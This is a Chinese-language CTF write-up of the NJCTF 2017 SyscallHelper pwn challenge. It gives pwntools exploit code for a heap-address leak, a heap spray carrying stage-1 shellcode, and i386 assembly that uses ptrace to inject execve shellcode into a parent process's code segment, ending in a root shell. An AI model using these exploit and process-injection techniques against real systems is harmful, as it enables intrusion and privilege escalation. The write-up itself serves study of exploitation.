Leak

调试了一波,最后leak出heap的地址

def sys_pwn():
    mine_env = os.environ
    mine_env['LD_PRELOAD'] = './dealarm.so'
    io = process('./syscallhelper', env=mine_env)

    over_bss_addr = 0x814E100
    puts_plt_addr = elf.plt['puts']
    print 'puts plt address', hex(puts_plt_addr)
    m_argvs = {'-10' : p32(puts_plt_addr)}
    add_syscal(io, 'df', 233, -1, m_argvs)
    set_syscal(io, 'df')
    cal_syscal(io);
    data = io.recv(4)
    lek_heap_addr = u32(data.ljust(4, '\x00'))
    print hex(lek_heap_addr)

关于读取的那两个文件,后面其实没怎么用到

hijack message

程序中留了message输入,而且堆地址前面也能leak,开始想算个精确的偏移,然后直接call到message处,但是调试发现分配之后的偏移不一定,所以通过堆喷来写入shellcode,由于后面还有很长的shllcode,不方便放在堆喷的shellcode里,所以这里只是做个跳板,跳到bss段(出题人故意留了很长的bss段)

def prod_jmprd_shell():
    shell_stage1 = '''
    #define BSS_ADDR 0X814A000
    xor eax, eax
    mov al, 3
    xor ebx, ebx
    mov ecx, BSS_ADDR
    mov edx, 0x12345678
    int 0x80
    mov eax, BSS_ADDR
    call eax
    xor eax, eax
    inc eax
    int 0x80
    '''
    pjshell_code = asm(shell_stage1, arch='i386')
    return pjshell_code

    # ....
    shellcode = prod_jmprd_shell()
    mine_msg = shellcode.rjust(0x300, '\x90')
    mine_msg = mine_msg.ljust(0x7ff, '\x90')
    # heap spray
    SPRAY_LENGTH = 0x50
    for i in range(SPRAY_LENGTH):
        leave_message(io, 0x800, mine_msg)
    #raw_input('what the address of message?')

    msg_guess_addr = lek_heap_addr + 0x600
    m_argvs = {'-10' : p32(msg_guess_addr)}
    add_syscal(io, 'dead', 222, -1, m_argvs)
    raw_input('start set?')
    set_syscal(io, 'dead')
    cal_syscal(io)

这里的shellcode中有3个int 80h,差unistd表就很容易知道

注意python调用pwntools的asm时,写的汇编里不能有;注释。。

  1. read(0, bss_addr, 0x12345678)
  2. call bss_addr
  3. exit()

ptrace

新姿势。。不过还是不太懂。参考dalao的asm

ptrace定义如下

SYNOPSIS
       #include <sys/ptrace.h>
       long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

用ptrace可以挂到其他线程

    #define BSS_ADDR 0x0814c010
    mov eax, GETPPID_ID
    int 0x80                    ; getppid获得父进程pid
    mov ebx, PTRACE_ATTACH        ; pwntools 中已有定义
    mov ecx, eax
    mov eax, PTRACE_ID
    xor edx, edx
    xor esi, esi
    int 0x80                    ; ptrace(PTRACE_ATTACH, parent_pid, 0, 0)
    test eax, eax
    js failed                    ; retrun value != 0
    jmp next_stage

再看看其返回值

RETURN VALUE
       On success, the PTRACE_PEEK* requests return the requested data (but see NOTES), while other requests return zero.

成功就返回0,失败返回-1

shellcode

通过刚刚的ptrace已经挂到了父进程

下面还要进一步操作

get_shellcode:
        pop edi                    ; return address
        mov ebp, 0x20
        mov edx, 0x08049E0D
    write_shellcode:
        mov ebx, PTRACE_POKETEXT
        mov esi, dword ptr [edi]
        mov eax, PTRACE_ID
        int 0x80
        test eax, eax
        js write_shellcode
        mov ebx, 0x100000
        wait:
            dec ebx
            jnz wait
        add edx, 4
        add edi, 4        // 加上偏移
        dec ebp
        test ebp, ebp
        jnz write_shellcode
        detach:
            mov ebx, PTRACE_DETACH
            xor edx, edx
            xor esi, esi
            mov eax, PTRACE_ID
            int 0x80
            mov eax, 1
            int 0x80
        next_stage:
            call get_shellcode
        exec_sh:
        ....省略

其也不是特别难理解,首先看下PTRACE_POKETEXT

PTRACE_POKETEXT, PTRACE_POKEDATA
Copy  the  word data to the address addr in the tracee's memory.  As for PTRACE_PEEKTEXT and PTRACE_PEEKDATA, these two requests are currently equivalent.

就是向目标地址写入1 个word

get shellcode第一行就是把刚刚call get shellcode的返回地址放入edi,即为 execve /bin/sh 代码地址,而目标地址就是父进程函数的waitpid结束的位置,代码段!(ptrace权限真高)

在写完后,执行ptrace deatch,然后exit,接下来这个进程就结束了,父进程的0x08049E0D开始执行,实际上执行了刚刚写入的shellcode!!

exp

最后的部分exp

    raw_input('continue send?')
    shellcode = real_shellcode()
    io.sendline(shellcode)
    raw_input('continue call?')
    io.interactive()

最后居然。。。

[*] Switching to interactive mode
$ whoami
root
$ pwd
/home/deadfish/Pwn/2017-03/njctf/SyscallHelper/jail

是root。。可怕

results matching ""

    No results matching ""